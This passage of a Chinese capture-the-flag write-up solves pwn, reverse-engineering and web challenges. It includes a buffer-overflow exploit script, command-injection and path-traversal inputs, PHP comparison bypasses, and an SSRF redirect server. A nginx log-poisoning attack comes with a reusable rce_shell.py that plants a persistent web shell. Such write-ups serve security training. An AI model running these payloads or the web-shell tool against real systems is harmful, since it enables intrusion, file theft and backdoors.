字符 28: UNICODE(...) >= 122 为真,... >= 123 为假。ASCII码为 122,即 'z'。
字符 29: UNICODE(...) >= 51 为真,... >= 52 为假。ASCII码为 51,即 '3'。
字符 30: UNICODE(...) >= 114 为真,... >= 115 为假。ASCII码为 114,即 'r'。
字符 31: HEX(...) >= '7D' 为真,... >= '7E' 为假。十六进制为 0x7D,即 '}'。

结论
将所有恢复的字符拼接起来,黑客获得的数据是:

flag{811nd_5q1_1nj3c7_4n41yz3r}

pwn

[Week1] ncncnc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
(base) ➜  [Week1] ncncnc nc challenge.ilovectf.cn 30158
Welcome to ?ctf
ncncnc!!!
There are three stages ahead, keep going according to the hints
This is the first stage
Use the 'cat hint' command to open the hint file, which contains the key to the second stage
You can enter a command, or the key to proceed to the next stage
cat hint
Enter WoW to proceed to the second stage
WoW
You can enter a command, or the key to proceed to the next stage
Welcome to the second stage. This time I've added cat and hint to the blacklist. Do you have another way to open the hint to get the key to the third stage?
You can enter a command, or the key to proceed to the next stage
/bin'/s'h

ls
1
a
bin
dev
flag
hint
lib
lib64
od
pwn
cat flag
flag{63278607-3607-4f2f-8b53-f3b3db880b5c}

关键就这行/bin'/s'h,这个shell没有环境变量,导致一度以为是个假的…

[Week1] count

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
#!/usr/bin/env python3
# exploit.py
from pwn import *
import re
import sys
import time

HOST = "challenge.ilovectf.cn"
PORT = 30208
TIMEOUT = 6

hex_add_re = re.compile(rb'0x([0-9A-Fa-f]+)\s*\+\s*0x([0-9A-Fa-f]+)\s*=\s*\?')
mul_re = re.compile(rb'(?<![0-9A-Fa-f]x)(?<![0-9A-Fa-f]X)(\d+)\s*[xX]\s*(\d+)\s*=\s*\?')

# 更精确的 flag / success 检测
flag_pattern = re.compile(rb'flag\{[^}]{1,200}\}', re.I) # 匹配 flag{...}
congrats_pattern = re.compile(rb'congrat', re.I) # 匹配 congrat 或 congratulations
ignore_phrase = re.compile(rb'favorite\s+flag', re.I) # 若为“favorite flag”这类说明性句子,忽略

def calc_hex_sum(a_hex_bytes, b_hex_bytes):
a = int(a_hex_bytes.decode(), 16)
b = int(b_hex_bytes.decode(), 16)
s = a + b
result = "0x{:x}".format(s).encode()
log.info(f"calc_hex_sum: 0x{a_hex_bytes.decode()} + 0x{b_hex_bytes.decode()} = {result.decode()}")
return result

def main():
try:
p = remote(HOST, PORT, timeout=TIMEOUT)
except Exception as e:
print(f"连接失败: {e}")
sys.exit(1)

buffer = b''
try:
while True:
try:
chunk = p.recv(timeout=TIMEOUT)
except EOFError:
log.info("远程主机关闭连接 (EOF).")
break
except Exception:
chunk = b''

if chunk:
buffer += chunk
sys.stdout.buffer.write(chunk)
sys.stdout.buffer.flush()

# 优先匹配十六进制题
m_hex = hex_add_re.search(buffer)
if m_hex:
a_hex = m_hex.group(1)
b_hex = m_hex.group(2)
ans = calc_hex_sum(a_hex, b_hex)
log.info(f"Hex question -> sending: {ans.decode()}")
p.sendline(ans)
buffer = buffer[m_hex.end():]
continue

# 再匹配乘法题
m_mul = mul_re.search(buffer)
if m_mul:
a = m_mul.group(1).decode()
b = m_mul.group(2).decode()
val = int(a) * int(b)
ans = str(val).encode()
log.info(f"Detected multiplication {a}x{b}, sending: {ans.decode()}")
p.sendline(ans)
buffer = buffer[m_mul.end():]
continue

# 更稳健的 flag/success 检测:
# 1) 先检测是否出现 flag{...}(最可靠)
if flag_pattern.search(buffer):
log.success("检测到 flag{...},切换到交互模式。")
break

# 2) 再检测 congrat,但排除包含 'favorite flag' 的说明性句子
if congrats_pattern.search(buffer) and not ignore_phrase.search(buffer):
log.success("检测到 congrat(ulations) 类成功提示,切换到交互模式。")
break

# 否则不要因为单词 'flag' 就触发(避免误判)
# 若 buffer 太大只保留尾部
if not chunk:
time.sleep(0.05)
if len(buffer) > 8192:
buffer = buffer[-2048:]
continue

except KeyboardInterrupt:
print("\n用户中断(Ctrl+C)")
finally:
try:
p.interactive()
except Exception:
try:
p.close()
except Exception:
pass

if __name__ == "__main__":
main()
1
2
3
4
Congratulations on completing all challenges
[+] 检测到 congrat(ulations) 类成功提示,切换到交互模式。
[*] Switching to interactive mode
flag{0e5a67f3-f0a5-4f68-a20e-351575821f78}[*] Got EOF while reading in interactive

[Week1] 危险的 gets

看一下字段(部分省略)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
(base) ➜  [Week1] 危险的 gets strings 184750_danger_gets
/lib64/ld-linux-x86-64.so.2
__libc_start_main
gets
setvbuf
stdout
puts
system
stdin
stderr
printf
libc.so.6
GLIBC_2.2.5
GLIBC_2.34
__gmon_start__
PTE1
H=P@@
/bin/sh
plz input your name:
hello, %s!
you know ret addr
do you know rop?
do you know gets?
:*3$"
GCC: (Ubuntu 11.4.0-1ubuntu1~22.04) 11.4.0
crt1.o
__abi_tag
_dl_relocate_static_pie
__bss_start
main
setvbuf@GLIBC_2.2.5
__TMC_END__
_init
stderr@GLIBC_2.2.5
1
2
(venv) root@iZbp1d5rltw6uhsn58zuoaZ:~/pwn# readelf -s ./184750_danger_gets | grep backdoor || objdump -d ./184750_danger_gets | sed -n '1,260p' | grep -n backdoor -n
33: 00000000004011b6 26 FUNC GLOBAL DEFAULT 15 backdoor

backdoor 00000000004011b6

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
(venv) root@iZbp1d5rltw6uhsn58zuoaZ:~/pwn# gdb -q ./184750_danger_gets
Reading symbols from ./184750_danger_gets...
(No debugging symbols found in ./184750_danger_gets)
(gdb) b *0x4011f7
Breakpoint 1 at 0x4011f7
(gdb) run
Starting program: /root/pwn/184750_danger_gets
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
you know ret addr
do you know rop?
do you know gets?
plz input your name:
Breakpoint 1, 0x00000000004011f7 in vulnerable_function ()
(gdb) info registers rbp
rbp 0x7fffffffe220 0x7fffffffe220
(gdb) p/x $rbp-0x40
$1 = 0x7fffffffe1e0
1
2
3
BUF_ADDR = $rbp - 0x40
SAVED_RIP_ADDR = $rbp + 8
offset = SAVED_RIP_ADDR - BUF_ADDR = ($rbp + 8) - ($rbp - 0x40) = 0x48 = 72
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *

BINARY = './184750_danger_gets'
elf = ELF(BINARY)
offset = 72

backdoor = 0x4011b6

p = process(BINARY)
#p = remote('challenge.ilovectf.cn', 30254)

payload = b'A'*offset
payload += p64(backdoor)

p.sendline(payload)
p.interactive()

服了,为啥呀,本地可以过,remote就EOF。。。

reverse

[Week1] jvav

觉得Main很史可以直接去看加密

jadx打开,MainActivityKt确实史,直接看EncKt,wait,你package com.utilis.enc;这么写它规范嘛??

不管了,jadx反编译的还是很适合肉眼观察的。流程如下:

1
2
3
4
checker(input) ->
encoder(input) ->
confuser(...) ->
rounder(...)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
#!/usr/bin/env python3
import base64
import binascii

# 原始 Java bArr(signed bytes)
bArr_signed = [-89, 96, 102, 118, -89, -122, 103, -103, -125, -95,
114, 117, -116, -102, 114, -115, -125, 108, 110, 118,
-91, -83, 101, -115, -116, -114, 124, 114, -123, -87,
-87, -114, 121, 108, 124, -114]

# 把 Java 的 signed byte 转为 0..255 unsigned 表示
bArr = [x & 0xff for x in bArr_signed]
n = len(bArr)

# 1) rounder 的逆向:rounder 是 output[i] = input[(i+5) % len]
# 因此原来的 input = left-rotate by 5: input[i] = output[(i+5)%n]
rounder_inv = [bArr[(i + 5) % n] for i in range(n)]

# 2) confuser 的逆向
# forward: y = (~((a + 32) ^ 11)) & 0xff
# reverse: u = (~y) & 0xff
# t = u ^ 11
# a = (t - 32) & 0xff
confuser_inv = []
for y in rounder_inv:
u = (~y) & 0xff
t = u ^ 11
a = (t - 32) & 0xff
confuser_inv.append(a)

# confuser_inv 此时应为 encoder 输出的 Base64 bytes
encoded_bytes = bytes(confuser_inv)


# 最后按 UTF-8 解码为字符串
try:
flag = encoded_bytes.decode('utf-8')
except UnicodeDecodeError:
# 若发生编码错误,显示原始 bytes 以便调试
flag = None
print("Warning: decoded bytes are not valid UTF-8. raw bytes:", encoded_bytes)

print("Recovered flag:", flag)

1
2
3
4
5
输出
Recovered flag: RsMW5faXNfYWxzb19qYXZhfQ==ZmxhZ3trb3
但实际上应该是:ZmxhZ3trb3RsMW5faXNfYWxzb19qYXZhfQ==
解码后为:flag{kotl1n_is_also_java}
蒜鸟蒜鸟,就这样吧

Web

[Week1] Gitttttttt

提示.git,那么尝试把.git下载下来

1
git-dumper http://challenge.ilovectf.cn:30024/.git/ .

结果如下

1
2
3
➜  repo ls -a .git
. config HEAD index objects
.. description hooks info

看结构,是完整的git,但我重组失败啊%%

1
2
➜  repo cat .git/HEAD
ref: refs/heads/master

好的,是master
观察git-dumper日志:

1
[-] Fetching http://challenge.ilovectf.cn:30024/.git/objects/3f/0aa7170cdb17191ec7cb6e6fe976d8d126e50b [200] [-] Fetching http://challenge.ilovectf.cn:30024/.git/objects/70/7d88d95558346d96797ab00a24daa0053078fc [200]

那么重点关注这两个hash tag

1
2
3
4
5
➜  repo git --git-dir=.git cat-file -t 3f0aa7170cdb17191ec7cb6e6fe976d8d126e50b
git --git-dir=.git cat-file -t 707d88d95558346d96797ab00a24daa0053078fc

致命错误:不是 git 仓库:'.git'
致命错误:不是 git 仓库:'.git'

受不了了哥们,别搞。
git是废了,直接读数据吧

1
2
3
4
5
6
7
8
9
10
import zlib, sys, pathlib

for sha in [
"3f0aa7170cdb17191ec7cb6e6fe976d8d126e50b",
"707d88d95558346d96797ab00a24daa0053078fc"
]:
path = pathlib.Path(".git/objects") / sha[:2] / sha[2:]
data = zlib.decompress(path.read_bytes())
print(f"\n===== {sha} =====")
print(data.decode("utf-8", errors="replace"))

结果如下

1
2
3
(省略前一个,真的只是普通commit)
===== 707d88d95558346d96797ab00a24daa0053078fc =====
blob 39flag{#h_I_NE2V0R_13v3o_71E_6Bi7_4BGAzN}

[Week1] Ping??

这个简单,拼接命令

1
& cat f*

过滤了flag.txt字符串,用*就能绕过

1
flag{2926a603-a382-4477-a70a-c3195eaafcbc}

[Week1] from_http

这类题目真的烦人😡搞个断点先
断点啊
先改UA,再Get,再Post,再再再。。。不写了,烦死我了,反正七八轮后能拿flag。
改包

[Week1] secret of php

嗯,东西下载下来了,还Dockerfile,真是贴心呢~

1
2
➜  secret of php ls
Dockerfile flag.php Flll4g.php index.php

需要进入yes yes的情况

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
highlight_file(__FILE__);
include("flag.php");
$a = $_GET['a'];

if (isset($a)){
if($a === "2025") {
die("no");
} else {
echo "<br>"."yes"."<br>";
}
if(intval($a,0) === 2025) {
echo "yes yes"."<br>";
echo "Congratulations! You have passed the first level, the next level is ".$path."<br>";
} else {
die("no no");
}
} else {
echo "a is not set"."<br>";
}
  1. isset($a) 为真(传个参数a)
  2. 严格比较 ($a === “2025”) 必须为假
  3. intval($a, 0) === 2025 必须为真(把a转成整数后等于 2025)。

intval($a,0) 会从字符串开头解析出整数部分(第二个参数 0 允许根据前缀自动判断进制),所以只要a的开头数字部分是 2025,但整个字符串不是精确等于”2025”,就能满足三个条件。

1
http://challenge.ilovectf.cn:30070/?a=2025abc

得到

1
2
3
yes
yes yes
Congratulations! You have passed the first level, the next level is /Flll4g.php

布什戈么,那你干脆别放那个网盘得了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php
highlight_file(__FILE__);
include('flag.php');
$a = $_POST['a'];
$b = $_POST['b'];

if (isset($a) && isset($b)){
if ($a !== $b && md5($a) == md5($b)){
echo "<br>yes<br>";
} else {
die("no");
}
$a = $_REQUEST['aa'];
$b = $_REQUEST['bb'];
if ($a !== $b && md5((string)$a) === md5((string)$b)){
echo "yes yes<br>";
} else {
die("no no");
}
$a = $_REQUEST['aaa'];
$b = $_REQUEST['bbb'];
if ((string)$a !== (string)$b && md5((string)$a) === md5((string)$b)){
echo "yes yes yes<br>";
echo "Congratulations! You have passed the second level, the flag is ".$flag."<br>";
} else {
die("no no no");
}
} else {
echo "a or b is not set<br>";
}

有aa有bb,乍眼一看要md5对撞了,上网搜一对

1
2
3
4
5
curl -v -X POST 'http://challenge.ilovectf.cn:30070/Flll4g.php' \
-F 'a[]=1' -F 'b[]=2' \
-F 'aa[]=1' -F 'bb[]=2' \
-F 'aaa=TEXTCOLLBYfGiJUETHQ4hAcKSMd5zYpgqf1YRDhkmxHkhPWptrkoyz28wnI9V0aHeAuaKnak' \
-F 'bbb=TEXTCOLLBYfGiJUETHQ4hEcKSMd5zYpgqf1YRDhkmxHkhPWptrkoyz28wnI9V0aHeAuaKnak'

来自GPT的解析:

第一层:a、b 作为不同的数组(a[]=1、b[]=2),使得 $a !== $b 为真,而 md5($a) 与 md5($b) 都返回 NULL(相等)。

第二层:aa、bb 也作为数组,(string)$array 都变成 “Array”,所以 md5((string)$a) === md5((string)$b) 为真(严格等)。

第三层:aaa、bbb 使用两段不同但 MD5 相同的字符串(示例来自上面的链接),满足 (string)$a !== (string)$b 且 md5((string)$a) === md5((string)$b)。

[Week1] 前端小游戏

照理说,这题该写console脚本,直接改数据。
但一想这纯静态网页,哪里藏得住东西呀,看了一眼js,哦吼?

1
2
3
4
5
6
7
8
9
10
11
12
if (score >= 30) {
endTitle.textContent = '任务完成?';
endMessage.textContent = '骗你的,30分也不给你flag!';
} else if (score < 0) {
endTitle.textContent = '异常结果';
endMessage.textContent = '检测到异常分数,获取到以下数据:';
Element.textContent = atob('ZmxhZ3s0ZjFjNTRmZS02ZmNlLTQxNTAtYWM0Mi02MTFmNzk4MjA0Njd9');
Container.classList.remove('hidden');
} else {
endTitle.textContent = '挑战失败';
endMessage.textContent = `你只捕获了 ${score} 个黑客,至少需要30个!`;
}

ZmxhZ3s0ZjFjNTRmZS02ZmNlLTQxNTAtYWM0Mi02MTFmNzk4MjA0Njd9 deBase64 -> flag{4f1c54fe-6fce-4150-ac42-611f79820467}

(review:我真的手点到了30个,他喵的)

[Week1] 包含不明东西的食物?!

将物品投入锅里即可收获神秘礼品😋
这题其实不难,但我想复杂了。算上我php基础并不扎实,做这题时有点难受。

Ok请输入食材名(如food1.webp),那肯定先输入food1.webp试试看。发现报错如下:

1
2
3
4
5
6
7
8
食材路径:/var/www/html/backpack/food1.webp


Warning: Unexpected character in input: '' (ASCII=26) state=0 in /var/www/html/backpack/food1.webp on line 618

Warning: Unexpected character in input: '' (ASCII=28) state=0 in /var/www/html/backpack/food1.webp on line 618

Parse error: in /var/www/html/backpack/food1.webp on line 618

布什戈么,这是吧webp当php了啊?当时甚至试过了php://filter,不过这题单纯是字符串拼接。

尝试绝对路径,提示/var/www/html/backpack//var/www/html/backpack/food1.webp 食材不存在,真的就是拼接术。无奈,翻html,发现hint:

1
2
<!--flag在flag.txt中-->
<!--大厨会include你输入的内容哦~-->

这时候我开始瞎试了,../flag.txt
../../flag.txt
../../../flag.txt
../../../../flag.txt 我超!

恭喜!你领悟了魔物饭的美味之处,这是你的奖励 flag{4b88e9f5-756f-4b2d-9081-0f1f4e0124ca}

复盘:

尝试了../../../../var/www/html/backpack/php://filter/read=convert.base64-encode/resource=food1.webp../../../../php://filter/read=convert.base64-encode/resource=/var/www/html/backpack/food1.webp,都不行啊。

有意思,使用payload../../../../etc/passwd真的有权限读取诶:

1
root:x:0:0:root:/root:/bin/ash bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin adm:x:3:4:adm:/var/adm:/sbin/nologin lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin sync:x:5:0:sync:/sbin:/bin/sync shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown halt:x:7:0:halt:/sbin:/sbin/halt mail:x:8:12:mail:/var/spool/mail:/sbin/nologin news:x:9:13:news:/usr/lib/news:/sbin/nologin uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin operator:x:11:0:operator:/root:/bin/sh man:x:13:15:man:/usr/man:/sbin/nologin postmaster:x:14:12:postmaster:/var/spool/mail:/sbin/nologin cron:x:16:16:cron:/var/spool/cron:/sbin/nologin ftp:x:21:21::/var/lib/ftp:/sbin/nologin sshd:x:22:22:sshd:/dev/null:/sbin/nologin at:x:25:25:at:/var/spool/cron/atjobs:/sbin/nologin squid:x:31:31:Squid:/var/cache/squid:/sbin/nologin xfs:x:33:33:X Font Server:/etc/X11/fs:/sbin/nologin games:x:35:35:games:/usr/games:/sbin/nologin postgres:x:70:70::/var/lib/postgresql:/bin/sh cyrus:x:85:12::/usr/cyrus:/sbin/nologin vpopmail:x:89:89::/var/vpopmail:/sbin/nologin ntp:x:123:123:NTP:/var/empty:/sbin/nologin smmsp:x:209:209:smmsp:/var/spool/mqueue:/sbin/nologin guest:x:405:100:guest:/dev/null:/sbin/nologin nobody:x:65534:65534:nobody:/:/sbin/nologin www-data:x:1000:1000:Linux User,,,:/home/www-data:/bin/false nginx:x:100:101:nginx:/var/lib/nginx:/sbin/nologin

坏了,突然想玩RCE了 :~D 只能读的话,应该可以Log Poisoning

../../../../etc/nginx/nginx.conf
返回值重点关注access_log /var/log/nginx/access.log main;构造payload../../../../var/log/nginx/access.log

../../../../etc/issue返回Welcome to Alpine Linux 3.8 Kernel \r on an \m (\l)

../../../../etc/hosts返回# Kubernetes-managed hosts file. 127.0.0.1 localhost ::1 localhost ip6-localhost ip6-loopback fe00::0 ip6-localnet fe00::0 ip6-mcastprefix fe00::1 ip6-allnodes fe00::2 ip6-allrouters 10.233.66.35 cl-55-c98351f013ba2a8a原来是k8s呀。

第一次尝试:

1
2
3
curl -i -s -k -X 'GET' \
-H 'User-Agent: <?php system($_GET["cmd"]); ?>' \
'http://challenge.ilovectf.cn:30076/index.html

看日志发现Fatal error: Undefined constant 'x22cmd\x22' in /var/log/nginx/access.log on line 61
然后好像什么玩意崩了,再次使用../../../../var/log/nginx/access.logpayload直接返回了数据,没有html、css了,诶,我重启一下。

第二次尝试:

1
2
3
curl -i -s -k -X 'GET' \
-H 'User-Agent: <?php eval(base64_decode("c3lzdGVtKCRfR0VUW2NtZF0pOw==")); ?>' \
'http://challenge.ilovectf.cn:30081/index.html'

又崩了Fatal error: Undefined constant 'x22c3lzdGVtKCRfR0VUW2NtZF0pOw' in /var/log/nginx/access.log on line 13

第三次尝试:

1
2
3
curl -i -s -k -X 'GET' \
-H 'User-Agent: <?php //system($_GET[cmd]);exit;?>' \
'http://challenge.ilovectf.cn:30082/index.html'

这次不报错了,但也没什么反应

第四次尝试:

1
2
3
curl -i -s -k -X 'GET' \
-H 'User-Agent: *)/<?php eval(base64_decode(c3lzdGVtKCRfR0VUW2NtZF0pOw)); exit; ?>/*' \
'http://challenge.ilovectf.cn:30084/index.html'
1
2
3
curl -i -s -k -X 'POST' \
-d 'filename=../../../../var/log/nginx/access.log' \
'http://challenge.ilovectf.cn:30084/include.php?cmd=cat%20/flag.txt'

卧槽!
RCE!

拿到php了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
<?php
error_reporting(E_ALL);
ini_set('display_errors', 1);

$uploadDir = __DIR__ . '/backpack';
if (!is_dir($uploadDir)) {
mkdir($uploadDir, 0777, true);
}

$resultMsg = '';
$includeOutput = '';

if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['filename'])) {
$filename = trim($_POST['filename']);

$targetPath = $uploadDir . '/'.$filename;

if (file_exists($targetPath) && is_file($targetPath)) {

$ext = strtolower(pathinfo($targetPath, PATHINFO_EXTENSION));

echo "<p>食材路径:<strong>" . htmlspecialchars($targetPath) . "</strong></p>";
echo "<hr>";

if($ext === 'jpg')
echo "<img src='backpack/" . rawurlencode($filename) . "' alt='图片' style='max-width:100%;'>";
else{
ob_start();
include $targetPath;
$includeOutput = ob_get_clean();}
} else {
$resultMsg = "<p>" . htmlspecialchars($targetPath) . " 食材不存在</p>";
}
} else {
$resultMsg = "<p>请通过表单提交食材路径</p>";
}





?>
<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="UTF-8" />
<title>烹饪结果 - 迷宫食堂</title>
<style>
html, body {
height: 100%;
margin: 0;
}
body {
background: url('./backgroud.webp') no-repeat center center fixed;
background-size: cover;
font-family: Arial, sans-serif;
color: white;
display: flex;
justify-content: center;
align-items: center;
padding: 20px;
flex-direction: column;
text-align: center;
}
.result-box {
background: rgba(0,0,0,0.5);
padding: 20px;
border-radius: 10px;
max-width: 800px;
width: 90%;
max-height: 80vh;
overflow-y: auto;
word-break: break-word;
text-align: left;
}
a {
color: #aaf;
}
</style>
</head>
<body>
<div class="result-box">
<p><a href="index.html">返回投入食材页面</a></p>
<?php
echo $resultMsg;
echo $includeOutput;
?>
</div>
</body>
</html>
1
2
3
curl -i -s -k -X 'POST' \
-d 'filename=../../../../var/log/nginx/access.log' \
'http://challenge.ilovectf.cn:30082/include.php?cmd=base64%20/var/www/html/backpack/food1.webp' > aaa.txt

好的终于拿到food1.webp了🤣就是麻烦了点。。。
food1.webp

rce_shell.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
import requests
import sys
import re
import urllib.parse
# 禁用 requests 的 SSL 警告
requests.packages.urllib3.disable_warnings()

# --- RCE 配置 ---
POISON_PAYLOAD = '*)/<?php eval(base64_decode("c3lzdGVtKCRfR0VUW2NtZF0pOw==")); exit; ?>/*'
LOG_PATH = '../../../../var/log/nginx/access.log'
INCLUDE_SCRIPT = '/include.php'
POISON_PATH = '/index.html'

WEBSHELL_INJECTION_CMD = f"echo '<?php system($_GET[\"c\"]); ?>' > /var/www/html/backpack/shell.php"
# -----------------

def poison_log(base_url):
"""发送 GET 请求,将恶意代码注入到 Nginx 日志中"""
poison_url = base_url + POISON_PATH
headers = {'User-Agent': POISON_PAYLOAD}

try:
print(f"[+] 正在向 {poison_url} 注入恶意 User-Agent...")
requests.get(poison_url, headers=headers, verify=False, timeout=5)
print("[+] 注入成功。开始尝试 RCE...")
except requests.exceptions.RequestException as e:
print(f"[-] 投毒请求失败: {e}")
sys.exit(1)

def log_rce_execute(base_url, command):
"""使用日志投毒链执行命令 (第一次使用)"""
rce_url = base_url + INCLUDE_SCRIPT
data = {'filename': LOG_PATH}
# 必须对命令进行URL编码,以确保特殊字符安全
params = {'cmd': command}

try:
response = requests.post(rce_url, data=data, params=params, verify=False, timeout=10)
content = response.text

# 核心过滤逻辑
notice_end_marker_re = re.compile(r"<b>Notice</b>.*on line <b>\d+</b><br />", re.DOTALL)
match = notice_end_marker_re.search(content)

if match:
output_start = match.end()
rce_output = content[output_start:]
rce_output = re.sub(r'^(<br\s*/>|<br>|\s)*', '', rce_output)
rce_output = re.sub(r'</?\s*\w+\s*>', '', rce_output).strip()
return rce_output
else:
# 简化过滤,移除大部分 HTML 标签
rce_output = re.sub(r'<[^>]*>', '', content)
rce_output = re.sub(r'.*Use of undefined constant.*', '', rce_output, flags=re.DOTALL)
rce_output = rce_output.strip()
return rce_output

except requests.exceptions.RequestException as e:
return f"[-] RCE 执行失败: {e}"

def webshell_execute(base_url, command):
"""使用植入的Web Shell执行命令 (持久化模式)"""
shell_url = f"{base_url}/backpack/shell.php"
params = {'c': command} # 使用 'c' 作为命令参数

try:
# 使用 GET 请求执行命令
response = requests.get(shell_url, params=params, verify=False, timeout=10)
return response.text.strip()
except requests.exceptions.RequestException as e:
return f"[-] Web Shell 连接失败或命令执行失败: {e}"


def main():
if len(sys.argv) != 2:
print("用法: python rce_shell.py <域名或IP>:<端口>")
sys.exit(1)

target_host = sys.argv[1]
base_url = f"http://{target_host}"

# --- 模式选择 ---
print("\n请选择 RCE 模式:")
print("1. Log Poisoning Shell (每次执行命令都包含日志文件)")
print(f"2. Web Shell 模式 (投毒一次,植入 shell.php 后,通过它持久访问) - 推荐")
choice = input("输入模式编号 (默认为 2): ")

use_webshell = choice not in ['1', 'log', 'poison']

# 步骤 1: 投毒
poison_log(base_url)

if use_webshell:
# 步骤 2a: 植入 Web Shell
print(f"[+] 正在植入 Web Shell: shell.php...")

# 编码植入命令
encoded_injection_cmd = urllib.parse.quote(WEBSHELL_INJECTION_CMD)

injection_result = log_rce_execute(base_url, encoded_injection_cmd)

# 检查是否成功植入 (成功的 echo 命令通常返回空字符串)
if injection_result.strip():
print(f"[-] Web Shell 植入失败。RCE输出: {injection_result}. 切换回 Log Poisoning 模式。")
use_webshell = False
else:
print(f"[+] Web Shell 植入成功! 访问点: {base_url}/backpack/shell.php")

# 步骤 3: 交互式 Shell 启动
print("\n" + ("="*50))
print("[+] 交互式 Shell 启动。输入 'exit' 或 'quit' 退出。")
print("[!] 如果方向键出现 '^[[A' 等乱码,请在退出后执行 'stty sane' 修复终端。")
print(("="*50) + "\n")

executor = webshell_execute if use_webshell else log_rce_execute

# 第一次执行 whoami,验证是否成功
print(f"[+] 尝试执行 'whoami'...")
initial_output = executor(base_url, 'whoami')
print(initial_output)

if "404 Not Found" in initial_output or "Parse error" in initial_output or not initial_output:
print("[-] RCE 验证失败。请检查路径或权限。")
return

while True:
try:
cmd = input("$ ")
if cmd.lower() in ['exit', 'quit']:
break
if not cmd:
continue

output = executor(base_url, cmd)
print(output)

except KeyboardInterrupt:
print("\n[+] 退出 Shell。")
if use_webshell:
print("[!] 记得执行 'stty sane' 修复终端输入。")
break
except Exception as e:
print(f"[-] 发生未知错误: {e}")
break

if __name__ == "__main__":
main()

[Week2] Look at the picture

你想看什么图片都行,但只能是http协议哦~ 不要偷偷用其它的

challenge.ilovectf.cn:30333/?url=https%3A%2F%2Fpicsum.photos%2F500%2F500%3Frandom%3D2

显然是要修改url参数的请求头,尝试读取文件
challenge.ilovectf.cn:30333/?url=file://flag.txt
返回I see you.....,看来file头被过滤了。

尝试http://challenge.ilovectf.cn:30333/?url=http://127.0.0.1返回html

确实只允许http/https协议头。

1
2
3
4
5
6
7
8
9
10
from flask import Flask, redirect

app = Flask(__name__)

@app.route('/bypass')
def bypass():
return redirect("file:///flag.txt", code=302)

if __name__ == '__main__':
app.run(host='0.0.0.0', port=8090)

借Timmy的国内vps跑一段bypass(我的US搬瓦工不行,有IP段屏蔽)

bypass
39开头的是我本地,43开头是测试机,可以看到确实发生了302,不过,这这这,,,404??这是跨域了吗?怎么读vps去了?

http://challenge.ilovectf.cn:30404/?url=https://ipw.cn/gongan.png看响应发现是base64,前台解码为图片

冷静思考,dirsearch先来一下,发现/www.zip
解压拿到index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
<?php
// 随机图片URL数组
$randomImages = [
'https://picsum.photos/500/500?random=1',
'https://picsum.photos/500/500?random=2',
'https://picsum.photos/500/500?random=3',
'https://picsum.photos/500/500?random=4',
'https://picsum.photos/500/500?random=5',
'https://picsum.photos/500/500?random=6',
'https://picsum.photos/500/500?random=7',
'https://picsum.photos/500/500?random=8',
'https://picsum.photos/500/500?random=9',
'https://picsum.photos/500/500?random=10'
];

// 获取URL参数
$imageUrl = isset($_GET['url']) ? $_GET['url'] : '';
$blacklist_keywords = [
'file://', 'file%3A//',
'phar://', 'phar%3A//',
